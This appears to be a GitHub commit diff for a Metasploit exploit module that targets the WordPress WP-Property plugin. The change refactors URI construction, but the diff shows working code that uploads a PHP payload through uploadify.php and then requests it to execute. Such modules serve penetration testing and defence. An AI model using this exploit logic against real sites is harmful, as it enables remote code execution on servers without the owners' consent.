Skip to content

Commit 94494e3

Browse files
committed
Land rapid7#3152 - Use normalize_uri for module wp_property_upload_exec
2 parents 5458200 + 0b766cd commit 94494e3

File tree

1 file changed

+11
-8
lines changed

1 file changed

+11
-8
lines changed

modules/exploits/unix/webapp/wp_property_upload_exec.rb

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -54,12 +54,11 @@ def initialize(info = {})
5454
end
5555

5656
def check
57-
uri = target_uri.path
58-
uri << '/' if uri[-1,1] != '/'
57+
uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
5958

6059
res = send_request_cgi({
6160
'method' => 'GET',
62-
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
61+
'uri' => uri
6362
})
6463

6564
if not res or res.code != 200
@@ -70,8 +69,8 @@ def check
7069
end
7170

7271
def exploit
73-
uri = target_uri.path
74-
uri << '/' if uri[-1,1] != '/'
72+
data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/')
73+
request_uri = normalize_uri(data_uri, 'uploadify.php')
7574

7675
peer = "#{rhost}:#{rport}"
7776

@@ -80,13 +79,13 @@ def exploit
8079

8180
data = Rex::MIME::Message.new
8281
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
83-
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
82+
data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
8483
post_data = data.to_s
8584

8685
print_status("#{peer} - Uploading payload #{@payload_name}")
8786
res = send_request_cgi({
8887
'method' => 'POST',
89-
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
88+
'uri' => request_uri,
9089
'ctype' => "multipart/form-data; boundary=#{data.bound}",
9190
'data' => post_data
9291
})
@@ -95,12 +94,16 @@ def exploit
9594
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
9695
end
9796

98-
upload_uri = res.body
97+
upload_uri = normalize_uri(res.body)
9998

10099
print_status("#{peer} - Executing payload #{@payload_name}")
101100
res = send_request_raw({
102101
'uri' => upload_uri,
103102
'method' => 'GET'
104103
})
104+
105+
if res and res.code != 200
106+
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
107+
end
105108
end
106109
end

0 commit comments

Comments
 (0)